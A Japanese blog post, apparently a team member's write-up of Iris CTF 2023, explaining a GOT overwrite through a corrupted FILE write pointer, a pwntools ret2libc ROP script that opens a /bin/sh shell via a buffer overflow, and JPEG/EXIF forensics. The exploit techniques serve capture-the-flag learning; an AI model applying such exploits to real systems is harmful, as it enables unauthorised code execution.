All Articles

Iris CTF 2023 Writeup

あけましておめでとうございます。

0neP@dding に新メンバーも迎えつつ、 2023 年の CTF 初めとしてIrisCTF 2023に参加しました。

今回もいつもの通り学びのあったポイントだけ簡単に Writeupとしてまとめておきます。

もくじ

Pwn

babyseek

image-20230109004518254

以下のソースコードから生成された問題バイナリが渡されます。

#include <stdlib.h>
#include <stdio.h>

void win() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {
    // This is just setup
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Your flag is located around %p.\n", win);

    FILE* null = fopen("/dev/null", "w");
    int pos = 0;
    void* super_special = &win;

    fwrite("void", 1, 4, null);
    printf("I'm currently at %p.\n", null->_IO_write_ptr);
    printf("I'll let you write the flag into nowhere!\n");
    printf("Where should I seek into? ");
    scanf("%d", &pos);
    null->_IO_write_ptr += pos;

    // print & 'exit@got.plt'
    fwrite(&super_special, sizeof(void *), 1, null);
    exit(0);
}

ユーザーの操作に依存して挙動が変わりうる箇所はこちらの 2 行のみでしたので、とっかかりとしては明確でした。

構造体 null はfopen("/dev/null", "w");で生成されたファイルディスクリプタであることがわかっているので、とりあえず_IO_write_ptrの値を任意に書き換えられる場合にどのような影響が発生するかを調べてみました。

null->_IO_write_ptr += pos;
fwrite(&super_special, sizeof(void *), 1, null);

_IO_write_ptrはライブラリのソース内でCurrent put pointerとコメントされていたため、バッファの出力先を指すメンバ変数であることがわかりました。

実際に/dev/stdoutのファイルディスクリプタを作成して_IO_write_ptrの値をマイナスすると前の文字を上書きするようになることを確認しました。

ここで、_IO_write_ptrのアドレスを任意に変更できるため、Flag を取得するための win 関数のアドレスが格納された&super_specialを任意のメモリに書き込めることがわかります。

ソースコードを見ると、exit(0);が初めて呼ばれていることがわかります。

fwrite(&super_special, sizeof(void *), 1, null);
exit(0);

ELF ではライブラリ関数は遅延バインドされているため、最初に関数が呼び出される際には.pltセクションのエントリが参照され、GOT(XXX@got.plt) にジャンプする挙動になります。

参考:GOT/PLTを経由したライブラリ関数呼び出しの流れを追う

この時、exit 関数の呼び出し時に参照される.pltセクションのエントリに埋め込まれた GOT のアドレスを win 関数のアドレスに置き換えるように_IO_write_ptrを調整することで、Flag を取得することができます。

しかし、このエクスプロイトを行うためには問題サーバで実行されたプロセスから.pltセクションのアドレスを特定する必要があります。

幸いなことに、プログラム実行時には以下の行で win 関数とnull->_IO_write_ptrのアドレスがリークされています。

printf("Your flag is located around %p.\n", win);
printf("I'm currently at %p.\n", null->_IO_write_ptr);

この時、gdb-peda でprint & 'exit@got.plt'コマンドを叩いて特定したアドレスと win 関数のアドレスの相対位置は不変のため、リークされた win 関数のアドレスから exit 関数の GOT テーブルのアドレスを特定できます。

gdb-peda$ print & 'exit@got.plt'
$1 = (<text from jump slot in .got.plt, no debug info> *) 0x555555557468 <exit@got[plt]>

最後に、特定した exit 関数の GOT テーブルのアドレスを指すようにnull->_IO_write_ptrの値が変更される入力値を与えることで Flag を取得することができました。

ret2libm

image-20230109004531152

以下のような問題バイナリが与えられました。

問題バイナリ自体は非常にシンプルで、gets(yours);の行に自明な BoF の脆弱性があることがわかります。

#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char yours[8];

    printf("Check out my pecs: %p\n", fabs);
    printf("How about yours? ");
    gets(yours);
    printf("Let's see how they stack up.");

    return 0;
}

また、今回は libm で定義されている fab 関数のアドレスがprintf("Check out my pecs: %p\n", fabs);でリークされています。

ここから、リークされた libm 内の fab 関数のアドレスを元に libc のアドレスを特定して ret2libc でシェルを取得する方針としました。

まずは BoF でインジェクションするために、 gdb と msf-pattern_offset を使って、RSP のインジェクションまでのバイト値が 16 であることを特定しました。

# gdb と msf-pattern_offset を使って、RSP のインジェクションまでのバイト値が 16 であることを特定する
$ msf-pattern_create -l 100
$ msf-pattern_offset -q a5Aa           
[*] Exact match at offset 16

次に、gdb のinfo sharedlibraryを使って実行時にロードされるアドレスを参照します。

$ info sharedlibrary
From                To                  Syms Read   Shared Object Library
0x00007f861b03cf10  0x00007f861b05d550  Yes         /lib64/ld-linux-x86-64.so.2
0x00007f861aca9a80  0x00007f861ad681d5  Yes         /lib/x86_64-linux-gnu/libm.so.6
0x00007f861a8ce360  0x00007f861aa46afc  Yes         /lib/x86_64-linux-gnu/libc.so.6

$  x/16c 0x00007f861aca9a80
0x7f861aca9a80 <atan2Mp>:       0x41    0x57    0x41    0x56    0x4c    0x8d    0xd     0xd5

$ x/16c 0x00007f861a8ce360  
0x7f861a8ce360 <__libgcc_s_init>:       0x55    0x53    0x48    0x8d    0x3d    0x7d    0x23    0x19

info sharedlibraryの From に表示されるアドレスには、ロードされる libm.so と libc.so それぞれの .text セクションが配置されています。

Ghidra や readelf などで参照した .text セクションのオフセットの関数を調べると、ロードされているアドレスと一致することがわかります。

  • libm.so 内の atan2Mp(0x00007f861aca9a80)

image-20230109112513881

また、この時ロードされる libm.so と libc.so のアドレスの相対位置は、PIE が有効な場合でも不変です。

つまり、リークされている fab のアドレスから libm.so の先頭アドレスを計算することで、最終的に libc.so の先頭アドレスを取得できることがわかります。

ここまでわかれば後は典型的な ret2libc の問題になるので、与えられているライブラリファイルから system 関数と “/bin/sh” のオフセットを特定することで最終的にすべての情報を収集できます。

# ライブラリ関数がロードされるアドレスを特定
$ info sharedlibrary 
From                To                  Syms Read   Shared Object Library
0x00007f97469fdf10  0x00007f9746a1e550  Yes         /lib64/ld-linux-x86-64.so.2
0x00007f974666aa80  0x00007f97467291d5  Yes         /lib/x86_64-linux-gnu/libm.so.6
0x00007f974628f360  0x00007f9746407afc  Yes         /lib/x86_64-linux-gnu/libc.so.6

# system 関数のアドレスを特定
$ p system
0x7f97462bd420 <__libc_system>

# "/bin/sh" のアドレスを特定
$ find "/bin/sh" libc
libc : 0x7f8659807d88 --> 0x68732f6e69622f ('/bin/sh')

# libc 内から ROP ガジェットを探索
$ ropsearch "pop rdi" libc
Searching
0x00007f9746355873

# アラインメントの調整のため、ret を返す ROP ガジェットを探索
$ ropsearch "ret" libc
Searching
0x00007f97462c0528

# 実行時にリークされた fabs のアドレス
Check out my pecs: 0x7f9746690cf0

実際に上記の情報を元に各アドレスの差分を計算することで、リークされた fabs の関数から ret2libc に必要なすべてのアドレスを特定することができました。

atan2Mp=fab-156272
libgcc_init=atan2Mp-4044576
sysaddr=libgcc_init+188608
str_bin_sh=libgcc_init+1649192
pop_rdi=libgcc_init+63083
ret=libgcc_init+201160

ここからペイロードを構築していきます。

今回は問題サーバと同じバージョンのライブラリを使用するために Docker コンテナ内でデバッグを行いました。

そのため、 Docker コンテナ側で事前に gdbserver と tmux をインストールして起動しておきます。

これは、Docker コンテナ内で pwntools で生成したペイロード送信時のデバッグを行うために必要です。

sudo apt install gdb gdbserver tmux -y

# tmux の起動
tmux

参考:Running pwntools gdb debug feature inside Docker containers

最終的に作成したスクリプトは以下です。

# sudo apt install gdb gdbserver
# sudo apt install tmux
# https://gist.github.com/turekt/71f6950bc9f048daaeb69479845b672b
from pwn import *

binary_path = "./chal"
elf = context.binary = ELF(binary_path)
context(terminal=['tmux', 'split-window', '-h'])

# running
io = gdb.debug(binary_path, '''
   break *(main+153)
''')

# io.remote("addr", 42072)

recv = io.recvline()
fab = int(recv[len("Check out my pecs: "):-1].decode(),16)

payload = b''
payload = b'\x41'*16

atan2Mp=fab-156272
libgcc_init=atan2Mp-4044576
sysaddr=libgcc_init+188608
str_bin_sh=libgcc_init+1649192
pop_rdi=libgcc_init+63083
ret=libgcc_init+201160

payload = b""
payload += b"\x41"*16
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(str_bin_sh)
payload += p64(sysaddr)

print("fab: {}".format(hex(fab)))
print("libgcc_init: {}".format(hex(libgcc_init)))
print("sysaddr: {}".format(hex(sysaddr)))
print("str_bin_sh: {}".format(hex(str_bin_sh)))
print("pop_rdi: {}".format(hex(pop_rdi)))
print("ret: {}".format(hex(ret)))

io.sendline(payload)
recv = io.recv()
io.interactive()

Forensic

babyforens

image-20230109004553665

破損した JPG ファイルが与えられました。

この中から、以下の情報を収取する必要がありました。

  • 撮影場所の緯度・経度を 10 進数変換した値
  • 撮影日時の UNIX 時間
  • カメラのシリアルナンバー
  • 画像に埋め込まれた文字列

問題自体は簡単だったはずなのですが、深読みしすぎて無駄に時間をつかってしまった問題でした。

まず、撮影場所の緯度・経度と時刻、シリアルナンバーについては exiftool で簡単に取得することができます。

緯度と経度を 10 進数に変換する際には以下のサイトを使用させてもらいました。

参考:【みんなの知識 ちょっと便利帳】緯度・経度の、10進数と60進数(度分秒)の変換 - 文字だけでのシンプル変換

また、UNIX 時間については一つ罠があり、 Exif から参照したタイムゾーンで計算する必要がありました。

参考:Time zone list / Epoch to time zone converter

UNIX 時間は計算上うるう秒を無視するため、時刻を UTC に変換してから UNIX 時間を計算すると、タイムゾーンを変更せずに UNIX 時間を計算した場合と比較して計算結果が変わってしまう点に注意が必要でした。

他の方の Writeup を参照したところ、うるう秒云々ではなくサマータイムの考慮が必要だったようです。

最後に画像に埋め込まれた文字列ですが、始めは破損した JPG ファイル内のデータからスタートマーカーFF D8で始まりエンドマーカーFF D9で終わる範囲のデータを JFIF ファイルとして抽出する方法を考えました。

dd if=./IMG_0917.jpg of=./out.jfif bs=1 skip=10934

参考:JPEG画像の「中身」は一体どうなっているのか? - GIGAZINE

この時、画像自体は取得することができたのですが、(恐らく圧縮されてしまっているため?)不鮮明な画像になってしまい読むことができませんでした。

image-20230109124555080

しばらくサイズや解像度の変更などを試していたのですが上手くいかず、最終的に画像の破損を修復する方向で考えることにしました。

色々調べてみると、どうやら破損していたのは画像のスタートマーカーの部分であることがわかったので、バイナリエディタを使用して適切な値に書き換えてあげることで、シークレットの文字列を特定し、 Flag を取得することができました。

image-20230109125018319

image-20230109125114955

まとめ

今回解いたのはどれも入門的な問題だったので解法自体はスムーズに思いつきましたが、色々とスキル不足で Flag の取得に結構手間取ってしまいました。

今年もコツコツ CTF をやっていければと思いますので今年もよろしくお願いします。